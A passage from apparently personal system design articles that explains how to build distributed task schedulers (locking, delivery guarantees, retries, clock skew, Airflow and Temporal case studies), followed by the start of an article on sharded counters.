- ✅ Dynamic scheduling (compute delay at submission time)
- ❌ Clock adjustments can fire early or late
- ❌ Long delays (days/weeks) require durable storage

**Implementation detail:** Use monotonic clocks or scheduler-native offsets rather than `current_wall_time + delay`. NTP corrections can shift wall clock time, causing premature or delayed execution.

### Event-Triggered (Reactive)

**Mechanism:** Tasks fire in response to external events: file uploads, database changes, webhook calls, message arrivals. No fixed schedule—execution is purely reactive.

**Best when:**

- Processing depends on external data availability
- Workload is unpredictable
- Near-real-time responsiveness required

**Trade-offs:**

- ✅ Minimal latency (process immediately when ready)
- ✅ Natural fit for event-driven architectures
- ✅ No wasted polling cycles
- ❌ Thundering herd if many events arrive simultaneously
- ❌ Requires robust event delivery infrastructure
- ❌ Harder to reason about system load

**Real-world example:** Airflow 3.0 introduces explicit event-based scheduling, departing from its purely time-based origins. Data-aware scheduling triggers DAGs when upstream datasets are updated rather than on fixed intervals.

## Design Choices: Coordination Mechanisms

### Option 1: Database Locks (No Consensus)

**Mechanism:** Schedulers use database row-level locks (`SELECT ... FOR UPDATE SKIP LOCKED`) to claim tasks. No inter-scheduler communication; the database is the coordination primitive.

```sql
-- Worker claims next available task
SELECT id, payload FROM tasks
WHERE status = 'pending'
  AND scheduled_at <= NOW()
ORDER BY priority DESC, scheduled_at ASC
LIMIT 1
FOR UPDATE SKIP LOCKED;

-- If row returned, update status
UPDATE tasks SET status = 'running', picked_by = $worker_id WHERE id = $task_id;
```

**Best when:**

- Operational simplicity is paramount
- Already running PostgreSQL/MySQL
- Throughput requirements < 10K tasks/second
- Team lacks distributed systems expertise

**Trade-offs:**

- ✅ No additional infrastructure (ZooKeeper, etcd)
- ✅ Familiar SQL semantics
- ✅ ACID guarantees on task state transitions
- ✅ Scales horizontally by adding scheduler instances
- ❌ Database becomes bottleneck at extreme scale
- ❌ Requires PostgreSQL 9.5+ or MySQL 8+ for `SKIP LOCKED`
- ❌ Lock contention under high concurrency

**Real-world example:** Airflow 2.0+ uses active-active schedulers with database locking. From the design document: "By not using direct communication or consensus algorithm between schedulers (Raft, Paxos, etc.) nor another consensus tool we have kept the operational surface area to a minimum." PostgreSQL row-level locks prevent duplicate execution while allowing multiple schedulers to operate independently.

### Option 2: Leader Election (Single Active Scheduler)

**Mechanism:** One scheduler is elected leader; only the leader schedules tasks. If the leader fails, another instance takes over via consensus protocol (Raft) or coordination service (ZooKeeper, etcd).

**Best when:**

- Strict ordering requirements
- Single scheduler can handle throughput
- Already running ZooKeeper/etcd for other purposes
- Need guaranteed single-writer semantics

**Trade-offs:**

- ✅ No duplicate execution by design
- ✅ Simpler reasoning about task order
- ✅ No lock contention
- ❌ Single point of throughput (leader bottleneck)
- ❌ Failover latency during leader election
- ❌ Additional operational complexity (consensus service)

**Implementation detail:** Leader election typically uses lease-based mechanisms. The leader holds a lease (e.g., 30 seconds) and must renew it before expiry. If renewal fails (leader crash, network partition), other candidates compete for the lease.

### Option 3: Work Stealing (Distributed Load Balancing)

**Mechanism:** Each worker maintains a local task queue (deque). Idle workers become "thieves" and steal tasks from busy workers' queues. Enables dynamic load balancing without central coordination.

**Best when:**

- Highly variable task durations
- Workers have different capacities
- Minimizing tail latency is critical

**Trade-offs:**

- ✅ Self-balancing without central coordinator
- ✅ Excellent for heterogeneous workloads
- ✅ Reduces idle time
- ❌ Complex implementation
- ❌ Stealing overhead for short tasks
- ❌ Requires careful queue structure (lock-free deques)

**Real-world example:** Dask Distributed uses work stealing for its parallel computing framework. Workers steal from the tail of other workers' queues (LIFO for locality) while processing their own tasks from the head (FIFO for fairness).

### Option 4: Consistent Hashing (Partitioned Scheduling)

**Mechanism:** Tasks are assigned to schedulers/workers based on hash of task ID. Each node is responsible for a partition of the task space. Adding/removing nodes only affects neighboring partitions.

**Best when:**

- Task affinity matters (cache locality, state reuse)
- Predictable task distribution needed
- Horizontal scaling without reshuffling all tasks

**Trade-offs:**

- ✅ Deterministic assignment (same task → same worker)
- ✅ Minimal disruption on cluster changes
- ✅ Good cache utilization
- ❌ Hot partitions if task IDs aren't uniformly distributed
- ❌ Rebalancing needed when nodes join/leave
- ❌ Doesn't handle variable task complexity

**Implementation detail:** Virtual nodes improve distribution—each physical node owns multiple positions on the hash ring. Discord uses 1,000 virtual nodes per physical node to achieve <5% load variance.

## Design Choices: Task Storage

### Option 1: Database-Only (PostgreSQL/MySQL)

**Schema pattern:**

```sql
CREATE TABLE scheduled_tasks (
    id              BIGSERIAL PRIMARY KEY,
    task_name       VARCHAR(255) NOT NULL,
    payload         JSONB,
    scheduled_at    TIMESTAMP NOT NULL,
    priority        SMALLINT DEFAULT 0,
    status          VARCHAR(20) DEFAULT 'pending',
    picked_by       VARCHAR(255),
    picked_at       TIMESTAMP,
    attempts        INT DEFAULT 0,
    max_attempts    INT DEFAULT 3,
    last_heartbeat  TIMESTAMP,
    created_at      TIMESTAMP DEFAULT NOW()
);

CREATE INDEX idx_pending_tasks ON scheduled_tasks (scheduled_at, priority)
    WHERE status = 'pending';
```

**Best when:**

- Durability is critical (cannot lose tasks)
- Already have PostgreSQL operational expertise
- Throughput < 10K tasks/second
- Need transactional task creation (enqueue with business data atomically)

**Trade-offs:**

- ✅ Single source of truth
- ✅ Atomic enqueue with business transactions
- ✅ Built-in persistence and replication
- ✅ SQL for ad-hoc queries and debugging
- ❌ Higher latency than in-memory brokers
- ❌ Connection pool exhaustion under high load
- ❌ Index maintenance overhead

**Real-world example:** The `db-scheduler` library uses a single-table design with heartbeat tracking. Workers update `last_heartbeat` during execution; stalled tasks (heartbeat older than threshold) are reclaimed by other workers.

### Option 2: Message Broker (Redis/RabbitMQ/Kafka)

**Best when:**

- High throughput required (> 10K tasks/second)
- Fire-and-forget semantics acceptable
- Existing broker infrastructure
- Real-time task distribution matters

**Trade-offs:**

- ✅ Sub-millisecond latency
- ✅ Built-in pub/sub patterns
- ✅ Natural backpressure via queue depth
- ❌ Separate durability story (Redis persistence, RabbitMQ clustering)
- ❌ Two systems to operate
- ❌ Task state lives outside primary database

**Broker comparison:**

| Broker       | Model                | Durability            | Throughput    | Best For                     |
| ------------ | -------------------- | --------------------- | ------------- | ---------------------------- |
| **Redis**    | Push (lists/streams) | Optional (RDB/AOF)    | 100K+ ops/sec | Low-latency, simple queues   |
| **RabbitMQ** | Push (AMQP)          | Mirrored queues       | 50K+ msg/sec  | Complex routing, reliability |
| **Kafka**    | Pull (log)           | Replicated partitions | 1M+ msg/sec   | High-volume, replay needed   |

### Option 3: Hybrid (Database + Broker)

**Mechanism:** Database stores task definitions, history, and durable state. Broker handles real-time task distribution and worker communication.

**Best when:**

- Need both durability and low latency
- Complex task workflows with state
- Audit trail requirements
- Scale requires broker performance

**Trade-offs:**

- ✅ Best of both worlds
- ✅ Database for queries, broker for speed
- ❌ Two systems to operate and synchronize
- ❌ Consistency challenges between stores
- ❌ More complex failure modes

**Real-world example:** A hybrid architecture uses PostgreSQL for storing job definitions (partitioned by hour) with retry counts and history, while Redis Sorted Sets hold jobs by timestamp for fast polling and Redis Streams for worker distribution.

## Delivery Guarantees

### At-Most-Once

**Mechanism:** Fire task, don't track outcome. If worker crashes mid-execution, task is lost.

**Implementation:** No acknowledgment, no retries, no persistence.

**Use when:**

- Task loss is acceptable (best-effort metrics)
- Duplicate execution is worse than missed execution
- Maximum throughput required

### At-Least-Once

**Mechanism:** Task remains "in-flight" until worker acknowledges completion. Crashes before acknowledgment trigger re-delivery.

**Implementation:**

1. Worker claims task (status → `running`)
2. Worker executes task
3. Worker acknowledges (status → `completed`)
4. If heartbeat missed or timeout, task returns to queue

**The idempotency requirement:** At-least-once means tasks _may run multiple times_. Your handlers must be idempotent:

```python
# ❌ BAD: Creates duplicate charges
def process_payment(order_id, amount):
    charge_credit_card(order_id, amount)
    mark_order_paid(order_id)

# ✅ GOOD: Idempotent via unique constraint
def process_payment(order_id, amount):
    # INSERT fails if already processed
    result = insert_payment_record(order_id, amount)
    if result.inserted:
        charge_credit_card(order_id, amount)
```

### Exactly-Once (Effectively Once)

**The truth:** True exactly-once delivery is impossible in distributed systems due to the Two Generals Problem. What systems provide is **at-least-once delivery + idempotent processing = effectively once**.

**Implementation strategies:**

1. **Idempotency keys**: Store processed task IDs; skip duplicates
2. **Transactional outbox**: Atomically record task completion with business state change
3. **Deduplication window**: Remember recent task IDs for a time window

**Cost:** Exactly-once semantics typically reduce throughput by 10-50% due to coordination overhead (two-phase commits, deduplication lookups).

**Real-world examples:**

- **Temporal**: Achieves effectively-once via event history replay. Every workflow step is recorded; replaying the history reconstructs exact state.
- **Kafka**: Combines idempotent producers (PID + sequence numbers) with transactional consumers (atomic offset commits).
- **AWS Step Functions Standard Workflows**: Exactly-once per step via internal state machine, up to 1-year execution duration.

## Failure Handling

### Heartbeat Mechanism

**Purpose:** Detect stalled or crashed workers before task timeout.

**Configuration guidelines:**

| Parameter          | Typical Value  | Rationale                                  |
| ------------------ | -------------- | ------------------------------------------ |
| Heartbeat interval | 2-3 seconds    | Frequent enough to detect failures quickly |
| Failure threshold  | 3 missed beats | Avoid false positives from network hiccups |
| Time to detection  | 6-9 seconds    | Interval × threshold                       |

**Two models:**

- **Push (worker → scheduler)**: Worker sends periodic "I'm alive" signals. Simpler, but scheduler must track all workers.
- **Pull (scheduler → worker)**: Scheduler polls worker status. More control, but adds latency.

**Implementation:**

```sql
-- Reclaim stalled tasks (heartbeat older than 30 seconds)
UPDATE tasks
SET status = 'pending', picked_by = NULL, picked_at = NULL, attempts = attempts + 1
WHERE status = 'running'
  AND last_heartbeat < NOW() - INTERVAL '30 seconds'
  AND attempts < max_attempts;
```

### Retry Strategies

**Exponential backoff with jitter:**

```
delay = min(base_delay * (2 ^ attempt) + random_jitter, max_delay)
```

| Attempt | Base Delay | With Jitter (±20%) |
| ------- | ---------- | ------------------ |
| 1       | 1s         | 0.8-1.2s           |
| 2       | 2s         | 1.6-2.4s           |
| 3       | 4s         | 3.2-4.8s           |
| 4       | 8s         | 6.4-9.6s           |
| 5       | 16s        | 12.8-19.2s         |

**Why jitter matters:** Without jitter, all failed tasks retry at the same moment (thundering herd). Random jitter spreads retries over time, preventing synchronized load spikes.

**Distinguishing error types:**

| Error Type    | Retryable        | Example                                                 |
| ------------- | ---------------- | ------------------------------------------------------- |
| **Transient** | Yes              | Network timeout, rate limit, temporary unavailability   |
| **Permanent** | No               | Invalid input, missing resource, authentication failure |
| **Unknown**   | Conservative yes | Unexpected exceptions, unclear error codes              |

### Dead Letter Queue (DLQ)

**Mechanism:** After exhausting retries, failed tasks move to a DLQ for manual inspection, debugging, or specialized reprocessing.

**Best practices:**

1. **Don't consume DLQ automatically**: Blindly retrying DLQ messages repeats the same failure. Only process after fixing the root cause.
2. **Preserve context**: Store original payload, all error messages, attempt timestamps, and worker IDs.
3. **Alert on growth**: DLQ accumulation indicates systemic issues, not isolated failures.
4. **TTL for cleanup**: Old DLQ messages (weeks/months) are likely stale; archive or delete.

**DLQ schema:**

```sql
CREATE TABLE dead_letter_queue (
    id              BIGSERIAL PRIMARY KEY,
    original_task_id BIGINT,
    task_name       VARCHAR(255),
    payload         JSONB,
    error_message   TEXT,
    error_stack     TEXT,
    attempts        INT,
    failed_at       TIMESTAMP DEFAULT NOW(),
    worker_id       VARCHAR(255),
    metadata        JSONB  -- original timestamps, retry history
);
```

## Clock Skew and Time Synchronization

### The Problem

Distributed systems have unreliable clocks:

- **NTP accuracy**: Theoretical 10ms, practical 100-250ms skew
- **VM migrations**: Clock discontinuities during live migration
- **NTP corrections**: Sudden jumps when drift is corrected
- **Leap seconds**: 61 or 59 seconds in a minute

**Impact on scheduling:**

- Task scheduled for T executes at T±skew across nodes
- Multiple schedulers may independently trigger the same cron job
- Logs show effects before causes

### Mitigation Strategies

**1. Use monotonic clocks for delays:**

```python
# ❌ BAD: Wall clock can jump
run_at = time.time() + 30  # "30 seconds from now"

# ✅ GOOD: Monotonic clock
start = time.monotonic()
run_after = 30  # seconds
# Check: time.monotonic() - start >= run_after
```

**2. Detect clock anomalies:**

```python
def check_clock_health(last_timestamp):
    current = time.time()
    drift = current - last_timestamp

    if drift < 0:
        # Clock moved backward
        raise ClockSkewError(f"Clock regressed by {-drift}s")
    if drift > expected_interval * 2:
        # Clock jumped forward suspiciously
        log.warning(f"Large clock jump: {drift}s")
```

**3. Use event sourcing (Temporal approach):**

Rather than depending on wall clock time, Temporal records every workflow step as an immutable event. Replay reconstructs state from the event log, making execution deterministic regardless of clock variations.

**4. Distributed time consensus (Google TrueTime):**

Google's Spanner uses GPS receivers and atomic clocks to bound clock uncertainty to ≤7ms globally. TrueTime returns an interval `[earliest, latest]` rather than a point in time, and transactions wait for uncertainty to pass before committing. This is infrastructure-heavy and impractical for most organizations.

## Handling Concurrent Executions

When a scheduled task takes longer than its interval, multiple instances may overlap. Schedulers handle this differently:

| Policy             | Behavior                         | Use When                              |
| ------------------ | -------------------------------- | ------------------------------------- |
| **Allow**          | Multiple concurrent runs         | Tasks are independent, parallel OK    |
| **Forbid/Skip**    | Skip if previous running         | Idempotency concerns, resource limits |
| **Replace/Cancel** | Stop previous, start new         | Latest data more important            |
| **Buffer**         | Queue for after current finishes | Must process every trigger            |

**Temporal's overlap policies:**

- `Skip` (default): Don't start if previous is running
- `BufferOne`: Queue one for after current finishes
- `BufferAll`: Queue all missed executions
- `CancelOther`: Cancel running before starting new
- `AllowAll`: No limits on concurrent executions

**Kubernetes CronJob:**

```yaml
spec:
  concurrencyPolicy: Forbid # Skip if previous job still running
  startingDeadlineSeconds: 200 # Fail if can't start within 200s of schedule
```

## Real-World Case Studies

### Apache Airflow: Database-Centric HA

**Problem:** Run thousands of DAGs reliably without single points of failure.

**Architecture:**

- Multiple scheduler instances (active-active)
- PostgreSQL/MySQL for coordination (row-level locks)
- No inter-scheduler communication
- Celery or Kubernetes for task execution

**Key insight:** "By not using direct communication or consensus algorithm between schedulers (Raft, Paxos, etc.)... we have kept the operational surface area to a minimum."

**Trade-off accepted:** Database becomes the bottleneck at extreme scale. Mitigation: run multiple metadatabase replicas, partition DAGs across multiple Airflow instances.

**Scaling characteristics:** Airflow Scheduler scales nearly linearly. Astronomer recommends "at least two schedulers for any production deployment, three is better."

### Temporal: Durable Execution via Event Sourcing

**Problem:** Long-running workflows (hours to years) that must survive infrastructure failures.

**Architecture:**

- **History Service**: Stores immutable event log per workflow execution
- **Matching Service**: Manages task queues for worker polling
- **Workers**: Stateless processes that execute workflow/activity code

**Key insight:** Workflow state is reconstructed by replaying events, not stored explicitly. Code must be deterministic—same inputs always produce same outputs.

**Exactly-once guarantee:** Workflow code runs effectively once, even if replayed multiple times. Activities (external calls) are at-least-once; application handles idempotency.

**Real-world use:** Stripe uses Temporal for subscription billing workflows that span months. Datadog uses it for incident response automation.

### Celery: Broker-Based Task Distribution

**Problem:** Distribute Python tasks across worker pools with minimal latency.

**Architecture:**

- Client submits tasks to broker (Redis/RabbitMQ)
- Workers poll broker, execute tasks, return results
- Result backend stores outcomes

**Trade-off:** Simplicity over durability. Tasks in Redis can be lost on crash. For critical tasks, use RabbitMQ with persistent messages and acknowledgments.

**Manageability challenge:** One team noted "The most significant problem encountered with Celery is the inability to manage it effectively. In the event of a potential error, it was challenging to intervene with workers." Airflow provides better observability for complex workflows.

### Google Cron: Distributed Periodic Scheduling

**Problem:** Run millions of cron jobs reliably across global datacenters.

**Key lessons from Google SRE:**

1. **Idempotency or state lookup**: "When a leader replica dies after a scheduled launch starts but before completion notification, the system must handle this by ensuring all operations on external systems are either idempotent or their state can be looked up."

2. **Store state in Paxos-based system**: Cron configuration and execution state live in a globally consistent store.

3. **Decouple scheduling from execution**: Cron service determines _when_ to launch; separate infrastructure handles _how_ to run.

## Common Pitfalls

### Pitfall 1: Ignoring Idempotency

**The mistake:** Assuming tasks run exactly once, writing non-idempotent handlers.

**Why it happens:** At-least-once semantics aren't obvious until the first duplicate execution in production.

**The consequence:** Double charges, duplicate notifications, corrupted data.

**The fix:** Design every handler for re-execution. Use idempotency keys, database constraints, or check-then-act with proper locking.

### Pitfall 2: Unbounded Retry Loops

**The mistake:** Retrying indefinitely without backoff or limits.

**Why it happens:** Optimistic assumption that transient failures will resolve.

**The consequence:** Permanent failures consume worker capacity forever. System grinds to a halt as retry queue grows unbounded.

**The fix:** Exponential backoff, maximum retry count, DLQ for terminal failures.

### Pitfall 3: Missing Heartbeats

**The mistake:** No mechanism to detect stalled workers.

**Why it happens:** Happy-path testing doesn't simulate mid-execution crashes.

**The consequence:** Tasks stuck in "running" state forever. Phantom workers holding tasks hostage.

**The fix:** Heartbeat updates during execution, timeout-based reclamation, visibility into worker health.

### Pitfall 4: Clock Assumptions

**The mistake:** Using wall clock time for scheduling decisions without accounting for skew.

**Why it happens:** Developer machines have synced clocks; distributed environments don't.

**The consequence:** Duplicate cron executions, missed schedules, tasks firing at wrong times.

**The fix:** Monotonic clocks for delays, clock skew detection, tolerances in schedule matching.

### Pitfall 5: Overloading the Scheduler

**The mistake:** Running heavy computation in the scheduler process itself.

**Why it happens:** Convenience—small tasks inline rather than distributed.

**The consequence:** Scheduler becomes bottleneck, scheduling latency increases, cascading delays.

**The fix:** Scheduler only schedules. All computation happens on workers. Keep scheduler lightweight and responsive.

## How to Choose

**Start with these questions:**

1. **What's your throughput requirement?**
   - < 1K tasks/min: Database-only (PostgreSQL)
   - 1K-100K tasks/min: Database + broker hybrid
   - > 100K tasks/min: Dedicated message broker, sharded scheduling

2. **How critical is task completion?**
   - Best-effort OK: At-most-once, simple broker
   - Must complete: At-least-once with idempotent handlers
   - Financial/billing: Exactly-once semantics worth the overhead

3. **How long do tasks run?**
   - Seconds: Simple queue (Celery, RQ)
   - Minutes to hours: Workflow engine with checkpointing
   - Days to months: Durable execution (Temporal, AWS Step Functions)

4. **What's your operational capacity?**
   - Small team: Managed services (AWS Step Functions, Cloud Tasks)
   - Dedicated SRE: Self-hosted Temporal, Airflow

**Decision matrix:**

| Requirement            | Celery     | Airflow      | Temporal    | DB-only   |
| ---------------------- | ---------- | ------------ | ----------- | --------- |
| Simple async tasks     | ✅ Best    | ⚠️ Overkill  | ⚠️ Overkill | ✅ Good   |
| Complex workflows      | ⚠️ Limited | ✅ Best      | ✅ Best     | ❌ Poor   |
| Long-running (hours+)  | ❌ Poor    | ⚠️ Limited   | ✅ Best     | ❌ Poor   |
| Exactly-once needed    | ❌ Poor    | ⚠️ Via hooks | ✅ Best     | ⚠️ Manual |
| Operational simplicity | ✅ Good    | ⚠️ Medium    | ⚠️ Medium   | ✅ Best   |

## Conclusion

Task scheduler design reduces to three fundamental decisions:

1. **How do you coordinate?** Database locks (simple, lower scale) vs. consensus protocols (complex, higher guarantees) vs. partitioning (deterministic, requires uniform distribution).

2. **What guarantees do you provide?** At-least-once with idempotent handlers is the pragmatic default. Exactly-once is achievable but costs throughput and complexity.

3. **Where does state live?** Database-only for durability and simplicity; broker for throughput; hybrid for both at operational cost.

The industry has converged on two patterns:

- **Simple tasks**: Database as queue with `SELECT FOR UPDATE SKIP LOCKED`. PostgreSQL handles 10K+ tasks/second with proper indexing. No additional infrastructure.
- **Complex workflows**: Durable execution engines (Temporal, AWS Step Functions) that provide exactly-once semantics, long-running support, and automatic failure recovery.

The key insight from production systems: **operational simplicity beats theoretical optimality**. Airflow uses database locks instead of Raft. Temporal replays events instead of distributed transactions. Both work reliably at scale by choosing the simpler mechanism that still meets requirements.

## Appendix

### Prerequisites

- Understanding of distributed systems fundamentals (CAP theorem, consensus)
- Familiarity with database transactions and locking
- Basic knowledge of message brokers (Redis, RabbitMQ, Kafka)
- Experience with at least one task scheduling system

### Terminology

- **DAG (Directed Acyclic Graph)**: Workflow representation where tasks are nodes and dependencies are edges; used by Airflow
- **DLQ (Dead Letter Queue)**: Storage for messages that cannot be processed after exhausting retries
- **Durable Execution**: Execution model where workflow state survives process/infrastructure failures via checkpointing or event sourcing
- **Idempotent**: Operation that produces the same result regardless of how many times it's executed
- **Heartbeat**: Periodic signal from worker to scheduler indicating liveness
- **Work Stealing**: Load balancing technique where idle workers take tasks from busy workers' queues

### Summary

- **Database locks** (`SELECT FOR UPDATE SKIP LOCKED`) replace consensus algorithms for most scheduler coordination—simpler to operate with acceptable scale limits
- **At-least-once + idempotency** achieves effectively-once execution without the overhead of true exactly-once guarantees
- **Heartbeat mechanisms** detect stalled workers; reclaim tasks when heartbeat exceeds threshold
- **Exponential backoff with jitter** prevents thundering herds during retry storms
- **Clock skew is unavoidable**; use monotonic clocks for delays, event sourcing for ordering, and explicit timezone handling for cron
- **Temporal/durable execution** is the modern answer for long-running workflows; event sourcing enables deterministic replay

### References

#### Design Documents and Architecture

- [AIP-15: Support Multiple-Schedulers for HA](https://cwiki.apache.org/confluence/pages/viewpage.action?pageId=103092651) - Apache Airflow's design document for active-active scheduler architecture using database locks
- [Temporal Architecture Documentation](https://github.com/temporalio/temporal/blob/main/docs/architecture/README.md) - Official architecture overview of Temporal's durable execution engine
- [Google SRE Book: Distributed Periodic Scheduling](https://sre.google/sre-book/distributed-periodic-scheduling/) - Google's production lessons on running distributed cron at scale

#### Official Documentation

- [Apache Airflow Scheduler](https://airflow.apache.org/docs/apache-airflow/stable/administration-and-deployment/scheduler.html) - Scheduler configuration and high availability setup
- [Temporal Schedules](https://docs.temporal.io/schedule) - Schedule configuration including overlap policies and catch-up behavior
- [Kubernetes CronJobs](https://kubernetes.io/docs/concepts/workloads/controllers/cron-jobs/) - CronJob specification including concurrency policies and time zones
- [Celery Documentation](https://docs.celeryq.dev/) - Distributed task queue configuration and best practices

#### Implementation References

- [db-scheduler: Persistent Cluster-Friendly Scheduler](https://github.com/kagkarlsson/db-scheduler) - Java library demonstrating database-as-queue pattern with heartbeat tracking
- [PostgreSQL Task Queue Design](https://gist.github.com/chanks/7585810) - Implementation achieving 10,000 jobs/second with PostgreSQL
- [The Definitive Guide to Durable Execution](https://temporal.io/blog/what-is-durable-execution) - Temporal's explanation of event sourcing for workflow reliability

#### Patterns and Best Practices

- [Queue-Based Exponential Backoff](https://dev.to/andreparis/queue-based-exponential-backoff-a-resilient-retry-pattern-for-distributed-systems-37f3) - Retry pattern implementation using message queues
- [Exactly-Once Semantics in Kafka](https://www.confluent.io/blog/exactly-once-semantics-are-possible-heres-how-apache-kafka-does-it/) - How Kafka achieves exactly-once via idempotent producers and transactional consumers
- [Error Handling in Distributed Systems](https://temporal.io/blog/error-handling-in-distributed-systems) - Patterns for resilient error handling including durable execution

---

## Sharded Counters

**URL:** https://sujeet.pro/legacy-personal-site/v4/articles/system-design/system-design-building-blocks/sharded-counters
**Category:** System Design / System Design Building Blocks
**Description:** Scaling counters beyond single-node write limitations through distributed sharding, aggregation strategies, and consistency trade-offs.A counter seems trivial—increment a number, read it back. At scale, this simplicity becomes a bottleneck. A single counter in Firestore supports ~1 write/second. A viral tweet generates millions of likes. Meta’s TAO handles 10 billion requests/second. The gap between “increment a number” and “count engagements for 2 billion users” spans orders of magnitude in both throughput and architectural complexity.

# Sharded Counters

Scaling counters beyond single-node write limitations through distributed sharding, aggregation strategies, and consistency trade-offs.

A counter seems trivial—increment a number, read it back. At scale, this simplicity becomes a bottleneck. A single counter in Firestore supports ~1 write/second. A viral tweet generates millions of likes. Meta's TAO handles 10 billion requests/second. The gap between "increment a number" and "count engagements for 2 billion users" spans orders of magnitude in both throughput and architectural complexity.

<figure>

![Sharded counter architecture: writes distribute across shards to avoid contention; reads aggregate shard values, typically through a cache layer.](./sharded-counter-architecture-writes-distribute-across-shards-to-avoid-contention.svg)

<figcaption>Sharded counter architecture: writes distribute across shards to avoid contention; reads aggregate shard values, typically through a cache layer.</figcaption>
</figure>

## Abstract

Sharded counters solve a fundamental distributed systems problem: write contention on hot keys. The core insight is **trade write throughput for read complexity**—instead of one counter receiving all writes, spread writes across N shards and sum them on read.

The design space involves three key decisions:

1. **Shard selection strategy**: Random (simple, even distribution) vs. hash-based (deterministic, enables caching) vs. time-based (natural windowing for analytics)
2. **Aggregation timing**: Synchronous (accurate but O(N) reads) vs. asynchronous rollup (O(1) reads but eventual consistency)
3. **Consistency requirements**: Strong (banking) vs. eventual (social metrics)—this determines whether you can cache and how you handle failures

When exact counts aren't required, probabilistic structures (HyperLogLog, Count-Min Sketch) achieve sub-linear space with bounded error—HyperLogLog estimates cardinalities of 10⁹ elements with 2% error using 1.5KB.

## The Problem: Write Contention

### Why Single Counters Fail

Every distributed database has per-key write limits. Firestore: ~1 write/second per document. DynamoDB: ~1,000 writes/second per partition. These limits exist because:

1. **Serialization**: Increments must be atomic. Two concurrent `counter++` operations on the same key require coordination.
2. **Replication lag**: Writes propagate to replicas asynchronously. High write rates cause replication queues to grow.
3. **Lock contention**: Even with optimistic concurrency, high conflict rates cause transaction retries and exponential backoff.

### The Hot Key Problem

A "hot key" is any key receiving disproportionate traffic. For counters, this is nearly always the case—you're intentionally funneling all increments to one location.

**Real-world example**: When Facebook launched the Like button in 2009, they discovered millions of tiny database writes per second converging on individual post counters. The solution required complete architectural rethinking—sharded counters became a foundational pattern.

### Quantifying the Bottleneck

| System    | Single-Key Write Limit         | With Sharding (100 shards) |
| --------- | ------------------------------ | -------------------------- |
| Firestore | ~1/sec                         | ~100/sec                   |
| DynamoDB  | ~1,000/sec (partition)         | ~100,000/sec               |
| Cassandra | ~10,000/sec (node)             | ~1,000,000/sec             |
| Redis     | ~100,000/sec (single-threaded) | ~N/A (horizontal)          |

The improvement is linear with shard count—double the shards, double the write throughput.

## Design Choices

### Shard Selection Strategy

#### Random Sharding

**Mechanism**: On each increment, select a random shard from the pool. No coordination required.

```python
def increment(counter_id: str, value: int = 1) -> None:
    shard_id = random.randint(0, NUM_SHARDS - 1)
    shard_key = f"{counter_id}:shard:{shard_id}"
    db.increment(shard_key, value)
```

**Best when:**

- Write patterns are unpredictable
- No locality benefits from consistent shard assignment
- Simplicity is prioritized over read optimization

**Trade-offs:**

- ✅ Even load distribution with sufficient traffic
- ✅ No coordination overhead
- ✅ Trivial to implement
- ❌ Every read must aggregate all shards (no caching by writer identity)
- ❌ Low-traffic counters may have uneven distribution

**Real-world example**: Firestore's distributed counters documentation recommends random sharding for simplicity. Each increment selects a random shard document, and reads sum the entire shards subcollection.

#### Hash-Based Sharding

**Mechanism**: Use a deterministic hash function to map some attribute (user ID, session, client IP) to a shard.

```python
def increment(counter_id: str, client_id: str, value: int = 1) -> None:
    shard_id = hash(client_id) % NUM_SHARDS
    shard_key = f"{counter_id}:shard:{shard_id}"
    db.increment(shard_key, value)
```

**Best when:**

- Same clients repeatedly increment the same counter
- You want to enable per-client rate limiting
- Read caching can exploit client locality

**Trade-offs:**

- ✅ Deterministic mapping enables caching optimizations
- ✅ Same client always hits same shard (reduces scatter on reads if you know the client)
- ❌ Skewed hash distribution can create hot shards
- ❌ Adding/removing shards requires rehashing (unless consistent hashing is used)

**Real-world example**: Twitter assigns shards based on post popularity. High-follower-count users get more shards for their tweets because engagement is predictably higher.

#### Time-Based Sharding

**Mechanism**: Create new shards per time window (minute, hour, day). Each window gets its own counter space.

```python
def increment(counter_id: str, value: int = 1) -> None:
    window = get_current_window()  # e.g., "2024-01-15T14:00"
    shard_id = random.randint(0, SHARDS_PER_WINDOW - 1)
    shard_key = f"{counter_id}:{window}:shard:{shard_id}"
    db.increment(shard_key, value)
```

**Best when:**

- Analytics require time-windowed aggregations
- Historical data can be compacted or archived
- Write patterns are time-correlated (e.g., peak hours)

**Trade-offs:**

- ✅ Natural fit for time-series analytics
- ✅ Old windows can be compacted into single values
- ✅ Avoids unbounded growth in active shard count
- ❌ Requires time synchronization across nodes
- ❌ More complex aggregation logic (must sum across windows)

**Real-world example**: YouTube view counting uses time windows for validation—views within a 24-hour window are aggregated before fraud detection runs.

### Decision Matrix: Shard Selection

| Factor                    | Random           | Hash-Based      | Time-Based      |
| ------------------------- | ---------------- | --------------- | --------------- |
| Implementation complexity | Low              | Medium          | High            |
| Write distribution        | Even (at scale)  | Depends on hash | Even per window |
| Read optimization         | None             | Client locality | Window caching  |
| Scaling shards            | Trivial          | Requires rehash | Per-window      |
| Best for                  | General counters | Client-specific | Analytics, TTL  |

### Aggregation Approaches

#### Synchronous Aggregation

Read all shards and sum them in real-time on each query.

```python
def get_count(counter_id: str) -> int:
    total = 0
    for shard_id in range(NUM_SHARDS):
        shard_key = f"{counter_id}:shard:{shard_id}"
        total += db.get(shard_key) or 0
    return total
```

**Characteristics:**

- **Accuracy**: Exact count at read time
- **Latency**: O(N) database reads where N = shard count
- **Consistency**: Strong (assuming linearizable reads)

**When to use**: Financial counters, inventory systems, any case where accuracy trumps latency.

**Failure mode**: If any shard is unavailable, the read fails or returns partial data. Must decide: fail the request or return a known-incomplete count.

#### Asynchronous Rollup

Background jobs periodically aggregate shard values into a cached total.

```python
# Background job (runs every T seconds)
def rollup_counter(counter_id: str) -> None:
    total = sum_all_shards(counter_id)  # O(N) operation
    cache.set(f"{counter_id}:total", total, ttl=T * 2)

# Read path
def get_count(counter_id: str) -> int:
    cached = cache.get(f"{counter_id}:total")
    if cached is not None:
        return cached
    # Fallback: synchronous aggregation (expensive)
    return sum_all_shards(counter_id)
```

**Characteristics:**

- **Accuracy**: Stale by up to T seconds (rollup interval)
- **Latency**: O(1) cache read
- **Consistency**: Eventual

**When to use**: Social media metrics, analytics dashboards, any case where slight staleness is acceptable.

**Failure mode**: If rollup job fails, cache expires, reads fall back to expensive synchronous path. Must monitor rollup lag and cache hit rate.

#### Hybrid: Netflix's Approach (2024)

Netflix's Distributed Counter Abstraction offers three modes:

1. **Best-Effort Regional**: EVCache (in-memory) only. Sub-millisecond reads, may miss recent writes.
2. **Eventual Consistency**: Event log (TimeSeries on Cassandra) + periodic rollup. Single-digit millisecond latency.
